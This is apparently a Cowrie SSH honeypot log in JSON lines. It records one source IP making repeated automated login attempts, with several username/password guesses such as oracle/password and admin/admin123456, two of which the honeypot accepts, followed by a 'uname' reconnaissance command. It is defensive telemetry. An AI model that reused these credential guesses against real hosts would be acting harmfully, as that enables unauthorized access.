{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:56.060559Z","src_ip":"192.109.200.237","session":"0e1d43466bb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:56.064663Z","src_ip":"192.109.200.237","session":"0e1d43466bb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"orca","password":"orca","message":"login attempt [orca/orca] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:56.390352Z","src_ip":"192.109.200.237","session":"0e1d43466bb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:57.475528Z","src_ip":"192.109.200.237","session":"0e1d43466bb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53464,"dst_ip":"159.203.135.109","dst_port":22,"session":"18b97e69ae02","protocol":"ssh","message":"New connection: 192.109.200.237:53464 (159.203.135.109:22) [session: 18b97e69ae02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:59.165872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:59.170773Z","src_ip":"192.109.200.237","session":"18b97e69ae02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:59.256847Z","src_ip":"192.109.200.237","session":"18b97e69ae02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:59.503702Z","src_ip":"192.109.200.237","session":"18b97e69ae02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:00.589361Z","src_ip":"192.109.200.237","session":"18b97e69ae02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50342,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d65ce1535a3","protocol":"ssh","message":"New connection: 192.109.200.237:50342 (159.203.135.109:22) [session: 3d65ce1535a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:02.325687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:02.333116Z","src_ip":"192.109.200.237","session":"3d65ce1535a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:02.417650Z","src_ip":"192.109.200.237","session":"3d65ce1535a3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123456","message":"login attempt [admin/admin123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:02.678932Z","src_ip":"192.109.200.237","session":"3d65ce1535a3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:02.921493Z","src_ip":"192.109.200.237","session":"3d65ce1535a3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:02.927657Z","src_ip":"192.109.200.237","session":"3d65ce1535a3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:03.021210Z","src_ip":"192.109.200.237","session":"3d65ce1535a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:03.027888Z","src_ip":"192.109.200.237","session":"3d65ce1535a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50358,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6ac010fb114","protocol":"ssh","message":"New connection: 192.109.200.237:50358 (159.203.135.109:22) [session: f6ac010fb114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:05.499927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:05.505802Z","src_ip":"192.109.200.237","session":"f6ac010fb114","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:05.592395Z","src_ip":"192.109.200.237","session":"f6ac010fb114","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"drcomadmin","password":"drcomadmin123","message":"login attempt [drcomadmin/drcomadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:05.850504Z","src_ip":"192.109.200.237","session":"f6ac010fb114","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:06.953179Z","src_ip":"192.109.200.237","session":"f6ac010fb114","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50370,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6f48f417b8a","protocol":"ssh","message":"New connection: 192.109.200.237:50370 (159.203.135.109:22) [session: b6f48f417b8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:08.699997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:08.709203Z","src_ip":"192.109.200.237","session":"b6f48f417b8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:08.793922Z","src_ip":"192.109.200.237","session":"b6f48f417b8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:09.053743Z","src_ip":"192.109.200.237","session":"b6f48f417b8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:10.141634Z","src_ip":"192.109.200.237","session":"b6f48f417b8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55928,"dst_ip":"159.203.135.109","dst_port":22,"session":"8fd628321544","protocol":"ssh","message":"New connection: 192.109.200.237:55928 (159.203.135.109:22) [session: 8fd628321544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:11.820373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:11.826087Z","src_ip":"192.109.200.237","session":"8fd628321544","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:11.910658Z","src_ip":"192.109.200.237","session":"8fd628321544","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"media","message":"login attempt [media/media] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:12.355529Z","src_ip":"192.109.200.237","session":"8fd628321544","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:13.441967Z","src_ip":"192.109.200.237","session":"8fd628321544","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55930,"dst_ip":"159.203.135.109","dst_port":22,"session":"b38f9e5c64c5","protocol":"ssh","message":"New connection: 192.109.200.237:55930 (159.203.135.109:22) [session: b38f9e5c64c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:15.201915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:15.209060Z","src_ip":"192.109.200.237","session":"b38f9e5c64c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:15.292281Z","src_ip":"192.109.200.237","session":"b38f9e5c64c5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:15.541676Z","src_ip":"192.109.200.237","session":"b38f9e5c64c5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:15.772838Z","src_ip":"192.109.200.237","session":"b38f9e5c64c5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:15.777961Z","src_ip":"192.109.200.237","session":"b38f9e5c64c5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:15.865806Z","src_ip":"192.109.200.237","session":"b38f9e5c64c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:15.872564Z","src_ip":"192.109.200.237","session":"b38f9e5c64c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55936,"dst_ip":"159.203.135.109","dst_port":22,"session":"74645d7d8d53","protocol":"ssh","message":"New connection: 192.109.200.237:55936 (159.203.135.109:22) [session: 74645d7d8d53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:18.404972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:18.411908Z","src_ip":"192.109.200.237","session":"74645d7d8d53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:18.498393Z","src_ip":"192.109.200.237","session":"74645d7d8d53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:18.752487Z","src_ip":"192.109.200.237","session":"74645d7d8d53","protocol":"ssh"}
